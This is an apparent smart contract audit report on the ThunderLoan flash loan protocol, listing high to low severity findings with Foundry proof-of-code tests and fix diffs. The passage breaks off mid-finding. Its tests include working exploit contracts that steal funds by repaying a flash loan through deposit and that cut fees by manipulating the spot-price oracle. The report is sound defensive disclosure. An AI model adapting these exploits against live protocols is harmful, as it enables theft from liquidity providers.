ThunderLoan Protocol Audit Report

Version 1.0

Cyfrin.io

April 21, 2026

ThunderLoan Protocol Audit Report

vridhib

April 21, 2026

Prepared by: vridhib

Lead Auditors: vridhib

Table of Contents

Protocol Summary

The ThunderLoan protocol is a decentralized flash loan provider that allows users to borrow assets for the duration of a single transaction. Liquidity providers deposit underlying ERC20 tokens into the protocol and receive AssetTokens in return. These AssetTokens appreciate in value as flash loan fees are collected and reinvested into the pool. A flash loan allows a user to borrow any amount (within the

available supply) of a supported token, provided they repay the borrowed amount plus a small fee within the same transaction. The fee is calculated using an on-chain price oracle powered by the TSwap protocol. The ThunderLoan protocol is upgradeable via the UUPS pattern, and the audit scope includes both the current ThunderLoan implementation and the planned ThunderLoanUpgraded contract.

Disclaimer

The vridhib team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

- 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

- src/interfaces/IFlashLoanReceiver.sol

- src/interfaces/IPoolFactory.sol
- src/interfaces/ITSwapPool.sol
- src/interfaces/IThunderLoan.sol
- src/protocol/AssetToken.sol
- src/protocol/OracleUpgradeable.sol
- src/protocol/ThunderLoan.sol
- src/upgradedProtocol/ThunderLoanUpgraded.sol

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation and set the allowed tokens.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

The ThunderLoan protocol was audited over a five-day period by one security researcher using a combination of manual review, static analysis (Slither and Aderyn), and fuzzing/invariant testing (Foundry). The audit focused on flash loan mechanics, fee calculations, liquidity provision, access controls, and upgradeability as defined in the protocol summary.

Overall, the protocol suffers from multiple high-severity security flaws and several medium-to-low severity issues that make it unsuitable for production use without significant remediation. The most critical findings center on the ability to bypass the intended repayment flow: an attacker can repay a flash loan using the deposit function instead of repay, minting themselves AssetTokens in the process and later redeeming the borrowed funds (effectively stealing funds from the protocol). Additionally, the fee calculation logic contains a fundamental unit mismatch, treating a WETH-denominated fee as if it were denominated in the borrowed token. This causes borrowers to be overcharged or undercharged depending on the token/WETH exchange rate, and incentivizes oracle manipulation. To add on, the exchange rate is incorrectly updated in the deposit function, preventing liquidity providers from redeeming their funds. Compounding these issues, the protocol relies on the TSwap AMM as a price oracle without any time-weighting, allowing attackers to manipulate prices within a single transaction and drastically reduce flash loan fees.

The findings are summarized as follows:

- **4 High-Severity** issues:

  - Incorrect exchange rate update via deposit function inflates protocol fees, blocks redemptions, and incorrectly sets the exchange rate.
  - Flash loan repayment via deposit allows theft of protocol funds
  - Storage collision in the upgraded version breaks the protocol's core functionality
  - Fee denomination mismatch causes incorrect fee collection and value leakage

- **2 Medium-Severity** issues:

  - Centralization risk from unrestricted owner privileges (token whitelisting and contract upgrades)
  - Use of spot price from TSwap oracle enables fee manipulation and LP yield depletion

- **3 Low-Severity** issues:

  - Initialization functions are vulnerable to front-running
  - Missing zero-address validation in __Oracle_init
  - Missing event emission for fee updates

- **6 Informational** issues:

  - Poor test coverage
  - Unused import in IFlashLoanReceiver interface
  - Mismatched function definition in IThunderLoan interface
  - Missing NatSpec documentation
  - Using storage instead of constants for fixed-value variables
  - Empty _authorizeUpgrade function lacks documentation

Due to the severity and number of findings, the protocol should not be deployed in its current state. It is strongly recommended to add a check in deposit preventing its use during an active flash loan, redesign the fee calculation to correctly convert between WETH and the borrowed token, and replace the spot price oracle with a manipulation-resistant alternative (e.g., Chainlink or a Uniswap TWAP). A follow-up audit is strongly advised after implementing the recommended changes.

Issues Found

Severity	Number of Issues Found
High	4
Medium	2
Low	3

Severity	Number of Issues Found
Info	6
Gas	5
Total	20

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` Usage in `ThunderLoan::deposit` Inflates Protocol Fees, Blocking Redemptions and Incorrectly Setting the Exchange Rate

Description:

In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. Indirectly, this function is responsible for keeping track of the amount of fees to provide to liquidity providers.

However, the `deposit` function updates this rate without collecting any fees.

```
1      function deposit(IERC20 token, uint256 amount) external
           revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7
8  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>      assetToken.updateExchangeRate(calculatedFee);
10
11         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
12     }
```

Impact:

This erroneous fee calculation and exchange rate update results in the following impacts. One, the `redeem` function is blocked due to the protocol's inflated calculation of owed tokens. Two, rewards

are incorrectly calculated, resulting in liquidity providers potentially recieving an unfair amount of tokens.

Proof of Concept:

The following scenario illustrates the security flaw.

1. Liquidity provider deposits tokens.
2. A user takes out a flash loan.
3. It is now impossible for the liquidity provider to redeem.

The following test demonstrates the feasibility of this attack.

Proof of Code

Place the following test into `ThunderLoanTest.t.sol`. This test should revert with the `ERC20InsufficientBalance` error.

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT); // fee
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.prank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation:

Remove the incorrectly updated exchange rate lines from the `deposit` function.

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
```

```
12      }
```

[H-2] Users Can Steal Protocol Funds If They Repay a Flash Loan using `ThunderLoan::deposit` Instead of `ThunderLoan::repay`, Leading to Gradual Or Immediate Insolvency

Description:

In the `ThunderLoan` contract, if a user takes out a flash loan via the `ThunderLoan::flashloan` function, it can be repaid through means other than the `repay` function. One of the alternative methods that the flash loan can be repaid with (which also jeopardizes the protocol's funds), is the `deposit` function.

Note that a flash loan can also be repaid with the ERC20 `transfer` function as shown in M-2. However, usage of the `transfer` function does not result in any security issues.

Impact:

If users take out flash loans and repay the debts with the `deposit` function, they can redeem the flash loan amounts at a later time from the `ThunderLoan::redeem` function, effectively providing free funds to users.

More critically, if a malicious user exploits this security issue, he can take out multiple flash loans, repay them with the `deposit` function, and redeem the funds with the `redeem` function—resulting in near total insolvency for the protocol.

Proof of Concept:

The following scenario illustrates the security flaw.

1. A user takes out a flash loan.
2. A user repays the flash loan in the receiver contract via the `deposit` function.
3. The `deposit` function accepts the payment.
4. The `flashloan` function considers the flash loan as repaid.
5. After the `flashloan` is repaid, the user is able to withdraw the flash loan amount via the `redeem` function.

The following test demonstrates the feasibility of this attack.

Proof of Code

Insert the following test into `ThunderLoanTest.t.sol`.

```
1     function testUseDepositInsteadOfRepayToStealFunds() public
          setAllowedToken hasDeposits {
```

```
        uint256 amountToBorrow = 50e18;
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();

        assertGt(tokenA.balanceOf(address(dor)), 50e18 + fee);
        console2.log("DepositOverRepay token balance: ", tokenA.
            balanceOf(address(dor)));
    }
```

Insert the following contract into `ThunderLoanTest.t.sol` as well.

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }


    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

In the log output, it shows that the user was able to redeem the flash loan amount and a little extra.

```
    DepositOverRepay contract token balance:  50157185829891086986
```

Recommended Mitigation:

It is recommended to add a check in the `deposit` function to prevent deposits while a flash loan is active for the same token. This ensures that flash loans can only be repaid via the dedicated `repay` function or via `transfer`.

```
+   error ThunderLoan__CannotDepositDuringFlashLoan();
    .
    .
    .
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
+       // Prevent using deposit to repay an active flash loan
+       if (s_currentlyFlashLoaning[token]) {
+           revert ThunderLoan__CannotDepositDuringFlashLoan();
+       }
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-3] Mixing Up Variable Location Causes Storage Collisions, Breaking the Protocol's Core Functionality

Description:

`ThunderLoan.sol` has the two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has these two variables in a different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to the manner in which Solidity storage operates, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. Adjusting the position of storage variables and removing storage variables in favor of constant variables breaks the storage locations.

Impact:

After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged a wrong (and substantially higher) fee.

More critically, the `s_currentlyFlashLoaning` mapping will start in the wrong storage slot.

Proof of Concept:

The following scenario illustrates the security flaw.

1. The protocol upgrades from `ThunderLoan.sol` to `ThunderLoanUpgraded.sol`.
2. A user gets a flash loan.
3. The user will then be charged a drastically higher fee.

Observe the increase in fees below.

```
1   Fee before the upgrade:  3000000000000000
2   Fee after the upgrade:   1000000000000000000
```

Insert the following test into `ThunderLoanTest.t.sol`.

Proof of Code

```
1     import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
          ThunderLoanUpgraded.sol";
2     .
3     .
4     .
5     function testUpgradeBreaks() public {
6         uint256 feeBeforeUpgrade = thunderLoan.getFee();
7
8         vm.startPrank(thunderLoan.owner());
9         ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
10        thunderLoan.upgradeToAndCall(address(upgraded), "");
11        uint256 feeAfterUpgrade = thunderLoan.getFee();
12        vm.stopPrank();
13
14        console2.log("Fee before the upgrade: ", feeBeforeUpgrade);
15        console2.log("Fee after the upgrade: ", feeAfterUpgrade);
16        assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);
17    }
```

It is also possible to view the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation:

If removing the storage variable is a high priority, leave it blank to avoid reordering the storage slots.

```
-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

[H-4] `ThunderLoan::getCalculatedFee` Assumes 1:1 Token/WETH Exchange Rate, Leading to Incorrect Fee Collection and Potential Protocol Insolvency

Description:

The `ThunderLoan::flashloan` function calculates the fee using `ThunderLoan::getCalculatedFee(token, amount)`. This fee is intended to be collected in the borrowed token and is added to the required repayment amount (`startingBalance + fee`). However, in actuality, the underlying fee logic relies on a fixed 1:1 conversion from the borrowed token's value in WETH, as obtained from the TSwap oracle. The core issue is that the fee is calculated in terms of WETH according to the amount of token being borrowed. At the end of the `flashloan` function, it performs a check testing the `endingBalance < startingBalance + fee` condition—but before this check the fee is never converted back into the borrowed token. In essence, the condition is testing `tokenA < tokenA + WETH`. This is erroneous logic because as the price of the borrowed token fluctuates relative to WETH, the effective fee collected in the borrowed token becomes either too high or too low relative to the protocol's intended fee percentage.

```
function flashloan(...) ... {
    uint256 fee = getCalculatedFee(token, amount);
    //...
    if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee,
            endingBalance);
    }
    //...
```

Impact:

This fee calculation issue results in a three-fold impact. One, borrowers will be overcharged if the borrowed token appreciates against WETH. Two, if the borrowed token depreciates against WETH, the protocol collects less fees than expected, causing a reduction in revenue and potentially leading to a gradual drain of liquidity provider funds. Three, this incentivizes oracle manipulation, in which the artifically lowered prices can exacerbate the loss caused by the fee calculation errors. This flaw breaks

the economic assumptions of the protocol and can lead to long-term insolvency if fees consistently under-compensate liquidity providers.

Proof of Concept:

The following scenario illustrates the discrepancy.

1. The intended fee is 0.3% of the borrowed amount when measured in WETH.
2. A user borrows 1000 tokenA. At the time of the loan, 1 tokenA = 1 WETH. The expected fee is 3 tokenA.
3. Between the fee calculation and repayment period, the price of tokenA drops to 0.5 WETH.
4. The protocol still charges a fee of 3 tokenA, but now those 3 tokenA are worth only 1.5 WETH (half the intended value).

The fee should be a fixed percentage of the borrowed value (in WETH terms) but collected in the borrowed token. Without dynamic exchange rate conversion at the moment of fee assessment, the collected amount in the borrowed token will be misaligned. The actual fee value in WETH will deviate significantly from the expected value because the exchange rate is not 1:1.

The following test demonstrates the denomination mismatch.

Proof of Code

```
    function testFeeDenominationMismatchWithoutManipulation() public {
        // 1. Setup contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // Create a TSwap DEX between WETH / TokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap pool with a 2:1 ratio (TokenA : WETH)
        uint256 tswapLpAmount = 100e18;
        uint256 tokenALiquidity = 200e18;
        uint256 wethLiquidity = 100e18;
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, tokenALiquidity);
        tokenA.approve(address(tswapPool), tokenALiquidity);
        weth.mint(liquidityProvider, wethLiquidity);
        weth.approve(address(tswapPool), wethLiquidity);
        BuffMockTSwap(tswapPool).deposit(wethLiquidity, tokenALiquidity, wethLiquidity, block.timestamp);
        vm.stopPrank();

        // 3. Setup ThunderLoan with TokenA deposits
```

```
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        uint256 thunderLoanLiquidity = 1000e18;
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, thunderLoanLiquidity);
        tokenA.approve(address(thunderLoan), thunderLoanLiquidity);
        thunderLoan.deposit(tokenA, thunderLoanLiquidity);
        vm.stopPrank();

        // 4. Borrow 50 TokenA and record the fee
        uint256 borrowAmountTokenA = 50e18;
        uint256 feeInTokenA = thunderLoan.getCalculatedFee(tokenA,
            borrowAmountTokenA);

        // 5. Calculate the WETH value of the borrowed amount using the
             pool's current price
        uint256 wethValueOfBorrow = BuffMockTSwap(tswapPool).
            getOutputAmountBasedOnInput(
            borrowAmountTokenA,
            tokenA.balanceOf(address(tswapPool)),
            weth.balanceOf(address(tswapPool))
        );

        // 6. Calculate the WETH value of the fee
        uint256 wethValueOfFee = BuffMockTSwap(tswapPool).
            getOutputAmountBasedOnInput(
            feeInTokenA,
            tokenA.balanceOf(address(tswapPool)),
            weth.balanceOf(address(tswapPool))
        );

        uint256 expectedFeeValueInWeth = (wethValueOfBorrow * 3) /
            1000; // 0.3% fee
        console2.log("Expected fee value (0.3% of borrow in WETH): ",
            expectedFeeValueInWeth);
        console2.log("Actual fee value (0.3% of borrow in WETH): ",
            wethValueOfFee);
        assertNotEq(wethValueOfFee, expectedFeeValueInWeth);
    }
```

As shown from the logs, this calculation error results in an approximately 47.7% increase. Since tokenA is worth 0.5 WETH, the fee in WETH terms is inflated relative to the intended 0.3% of borrowed value.

```
    Expected fee value (0.3% of borrow in WETH):  0.099799799799799799
    Actual fee value (0.3% of borrow in WETH):  0.147411860674746609
```

Recommended Mitigation:

Convert the fee to the token being borrowed in the `getCalculatedFee` before returning it.

One such remediation is as follows:

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
     uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
         token))) / s_feePrecision;
     uint256 feeInWeth = (valueOfBorrowedToken * s_flashLoanFee) /
         s_feePrecision;
+    // Convert the fee from WETH back to the borrowed token using the
    current exchange rate
+    uint256 wethPriceInToken = (s_feePrecision * s_feePrecision) /
    getPriceInWeth(address(token));
+    fee = (feeInWeth * wethPriceInToken) / s_feePrecision;
}
```

Medium

[M-1] Centralization Risk: Owner Has Unrestricted Privileges to Modify Protocol Parameters and Upgrade Implementation

Description:

The `ThunderLoan` contract grants the `owner` exclusive control over several critical protocol functions. The owner can:

- Add or remove allowed tokens via `setAllowedToken`.
- Authorize contract upgrades via `_authorizeUpgrade` (inherited from UUPS).

There are no on-chain limitations on these powers, such as a timelock, multi-signature requirement, or veto period. This creates a single point of failure: if the owner's private key is compromised, or if the owner acts maliciously, the protocol and its users' funds are at immediate risk.

Impact:

The aforementioned security issue results has three key impacts. First, the owner could add a malicious token as "allowed," and then use it to exploit the flash loan mechanism or drain liquidity. Second, the owner could upgrade the contract to a malicious implementation that steals all deposited funds or alters fee calculations to their benefit. Third, even in the case of an honest owner, an attacker gaining control of the owner's address could perform any of the previously mentioned actions instantly and irreversibly. While some degree of privileged access is necessary for protocol maintenance, the lack of any time delay or multi-party approval significantly increases the trust burden on the owner and the protocol's attack surface.

Proof of Concept:

The following privileged functions are callable solely by the `owner`:

```
// ThunderLoan.sol
function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
    returns (AssetToken) {
    // ...
}

function _authorizeUpgrade(address newImplementation) internal override
    onlyOwner {
    // ...
}
```

There are no timelock, multi-sig, or governance checks surrounding these functions. An attacker who compromises the owner's private key can immediately call `setAllowedToken` to whitelist a malicious token, then execute a flash loan attack to drain the protocol. Alternatively, they could deploy a malicious implementation and call `upgradeTo` to replace the contract logic entirely.

Recommended Mitigation:

To reduce the centralization risk while preserving administrative flexibility, there are a few measures that can be taken.

1. Transfer ownership to a multi-signature wallet (e.g., Gnosis Safe) requiring M-of-N signatures for any privileged action.
2. Route privileged functions through a timelock contract (e.g., OpenZeppelin's TimelockController). This introduces a mandatory delay between when an action is proposed and when it is executed, giving users time to exit if a malicious upgrade is detected.
3. If the protocol is intended to be fully immutable, consider renouncing ownership of the UUPS proxy after the final audit and deployment.
4. Replace `onlyOwner` with a role-based system (e.g., OpenZeppelin's AccessControl), allowing separation of duties (e.g., a `TOKEN_MANAGER` role for `setAllowedToken` and a separate `UPGRADER` role for contract upgrades).

[M-2] Using TSwap as a Price Oracle Leads to Significantly Cheaper User Fees & Oracle Manipulation Attacks

Description:

The TSwap protocol is a constant product formula based AMM (Automated Market Maker). The price of a token is determined by the amount of reserves on either side of the pool. Due to this price calculation logic, it is relatively easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

```
    function getPriceInWeth(address token) public view returns (uint256
        ) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
            ();
    }
```

Impact:

Liqiudity providers will receive dramatically reduced fees for providing liquidity. As a result, over time liquidity providers can withdraw their funds and discourage others from depositing into the protocol—leading to eventual insolvency.

Proof of Concept:

The following occurs all within a single transaction.

1. A user takes a flash loan from ThunderLoan for 1000 `tokenA`. This user is charged the original fee (`fee1`). During the flash loan they do the following.
    1. The user sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for 1000 `tokenA`. Due to the price calculation mechanism in ThunderLoan, which relies on the TSwapPool prices, this second flash loan is substantially cheaper.
    3. The user then repays the first flash loan, and then repays the second lash loan.

The following code demonstrates the feasability of this attack vector.

Proof of Code

Place this test into `ThunderLoanTest.t.sol`

```
    function testOracleManipulation() public {
        // 1. Setup contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        // Create a TSwap DEX between WETH / TokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap with a ratio of 1:1 (100 WETH:100 TokenA)
        uint256 tswapLpAmount = 100e18;
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, tswapLpAmount);
```

```
        tokenA.approve(address(tswapPool), tswapLpAmount);
        weth.mint(liquidityProvider, tswapLpAmount);
        weth.approve(address(tswapPool), tswapLpAmount);
        BuffMockTSwap(tswapPool).deposit(tswapLpAmount, tswapLpAmount,
            tswapLpAmount, block.timestamp);
        vm.stopPrank();

        // 3. Fund ThunderLoan: set allowed tokens and then fund
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        uint256 thunderLoanLpAmount = 1000e18;
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, thunderLoanLpAmount);
        tokenA.approve(address(thunderLoan), thunderLoanLpAmount);
        thunderLoan.deposit(tokenA, thunderLoanLpAmount);
        vm.stopPrank();

        // 4. Take out 2 flash loans to tank the price of weth/tokenA
            on TSwap and show reduced fees
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            tswapLpAmount);
        console2.log("Normal fee cost: ", normalFeeCost);

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
            (address(tswapPool), address(thunderLoan), address(
            thunderLoan.getAssetFromToken(tokenA)));

        uint256 attackerAmount = 100e18;
        vm.startPrank(user);
        tokenA.mint(address(flr), attackerAmount);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = flr.fee1() + flr.fee2();
        console2.log("Attack fee is: ", attackFee);
        assertLt(attackFee, normalFeeCost);
    }
```

Place this contract into `ThunderLoanTest.t.sol` as well.

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public fee1;
    uint256 public fee2;

    constructor(address _tswapPool, address _thunderLoan, address
```

```
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            // 1. Swap tokenA borrowed for WETH
            // 2. Take out ANOTHER flash loan to show the difference
            fee1 = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tank the price
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
            // Call a second flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");
            // Repay the flash loan
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            // Calculate the fee and repay
            fee2 = fee;
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        return true;
    }
```

In the console output, the cost discrepancy is logged.

```
Normal fee cost:  296147410319118389
Attack fee is:  214167600932190305
```

This is approximately a 27.7% decrease in fees.

Note: The `repay` function is not used for the second flash loan because it requires a separate token approval and would complicate the attack contract. Instead, tokens are transferred directly to the

AssetToken address, which satisfies the repayment condition checked in `flashloan`.

Recommended Mitigation:

Consider using a different price oracle mechanism, such as a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Initialization Functions Are Vulnerable to Front-Running, Allowing Malicious Actor to Hijack Protocol Configuration

Description:

The `ThunderLoan` contract is deployed using a UUPS proxy pattern. The implementation contract contains an `initialize` function that sets critical protocol parameters, including the oracle address and contract ownership. This function is protected by the `initializer` modifier, which prevents it from being called more than once.

However, the deployment process is not atomic: the implementation contract is deployed first, followed by the proxy contract, and finally the `initialize` function is called on the proxy. During this window, an attacker can monitor the mempool for the `initialize` transaction and front-run it with their own call to `initialize`, passing malicious parameters (e.g., a fake oracle address) or simply claiming ownership of the contract.

Because the `initialize` function is `external` and lacks any access control beyond the `initializer` modifier, the first caller to reach the proxy can set the protocol's initial state. Once initialized, the proxy cannot be re-initialized, rendering the legitimate deployment transaction permanently broken and forcing a full re-deployment.

The following functions are vulnerable to this front-running vector:

```
1  // ThunderLoan.sol
2  function initialize(address tswapAddress) external initializer {
3      __Ownable_init();
4      __UUPSUpgradeable_init();
5      __Oracle_init(tswapAddress);
6  }
7
8  // OracleUpgradeable.sol
9  function __Oracle_init(address poolFactoryAddress) internal
       onlyInitializing {
10     // ...
11 }
```

Impact:

There are several impacts that can result from forgetting to call the `initialize` function. One impact is that an attacker can call `initialize` with a malicious `tswapAddress` and become the owner of the contract. They would then control all privileged functions (setAllowedToken, contract upgrades, etc.). Another concerning impact is protocol disruption. The legitimate deployment transaction will revert with Initializable because the contract is already initialized, requiring the team to redeploy both the implementation and proxy contracts, wasting gas and delaying launch. More crucially, even if the attack is detected and mitigated, the incident may shake user confidence in the protocol's operational security.

While the likelihood of exploitation depends on the deployment environment and transaction ordering, the impact is high enough to warrant explicit mitigation. This issue is classified as low severity because it only manifests during the deployment phase and can be prevented with proper operational procedures.

Proof of Concept:

The deployment flow for a UUPS proxy typically follows these steps:

1. Deploy implementation contract.
2. Deploy ERC1967 proxy, pointing to the implementation address.
3. Call `initialize(address)` on the proxy with the intended oracle address.

An attacker monitoring the mempool can:

1. Observe the proxy deployment transaction.
2. Immediately submit their own initialize transaction with a higher gas price.
3. If their transaction is mined first, they become the owner, and the legitimate team's initialize call reverts.

Recommended Mitigation:

Ensure the deploy script creates both the implementation and the proxy as well as calls `initialize` within a single transaction. This ensures the initialization occurs atomically with deployment, leaving no window for front-running.

[L-2] Missing Event Emission When `s_flashLoanFee` Is Updated

Description:

The `updateFlashLoanFee` function allows the owner to modify the `s_flashLoanFee` state variable. However, no event is emitted when this change occurs. Events are critical for off-chain monitoring, allowing users and services to track changes to important protocol parameters.

Impact:

Lack of proper event emission results in two key consequences. First, user transparency is affected as users cannot easily detect when the flash loan fee has been changed, which may affect their borrowing costs. Second, this causes monitoring difficulty as security services and indexers cannot efficiently track fee updates, hindering real-time oversight of owner actions.

Proof of Concept:

The following function updates `s_flashLoanFee` without emitting an event:

```
1      function updateFlashLoanFee(uint256 newFee) external onlyOwner {
2          if (newFee > s_feePrecision) {
3              revert ThunderLoan__BadNewFee();
4          }
5  @>      s_flashLoanFee = newFee;
6      }
```

Recommended Mitigation:

Emit an event when `ThunderLoan::s_flashLoanFee` is updated.

```
1  +    event FlashLoanFeeUpdated(uint256 newFee);
2  .
3  .
4  .
5      function updateFlashLoanFee(uint256 newFee) external onlyOwner {
6          if (newFee > s_feePrecision) {
7              revert ThunderLoan__BadNewFee();
8          }
9          s_flashLoanFee = newFee;
10 +        emit FlashLoanFeeUpdated(newFee);
11     }
```

[L-3] Missing Zero-Address Validation in `__Oracle_init` Allows Setting Invalid Pool Factory Address

Description:

The `OracleUpgradeable::__Oracle_init` function assigns the `poolFactoryAddress` parameter to the `s_poolFactory` state variable without first verifying that the address is non-zero. This function is called during the protocol's initialization and is protected by the `onlyInitializing` modifier, meaning it executes exactly once. If a zero address is accidentally or maliciously provided, the oracle will be permanently misconfigured, breaking all fee calculations that depend on it.

```
1  function __Oracle_init(address poolFactoryAddress) internal
       onlyInitializing {
```

```
2       s_poolFactory = poolFactoryAddress;
3   }
```

Impact:

The likelihood of the resulting impacts occurring accidentally is low, but the impact is high. The resulting impacts include permanent protocol dysfunction and required redeployment. If `s_poolFactory` is set to `address(0)`, any call to `getPriceInWeth` will revert when attempting to interact with the factory. This breaks flash loan fee calculations, effectively bricking the protocol's core functionality. Additional, because the initialization can only happen once, the only recovery option is to redeploy the entire protocol, incurring significant gas costs and operational overhead.

Proof of Concept:

The vulnerable assignment occurs in OracleUpgradeable.sol:

```
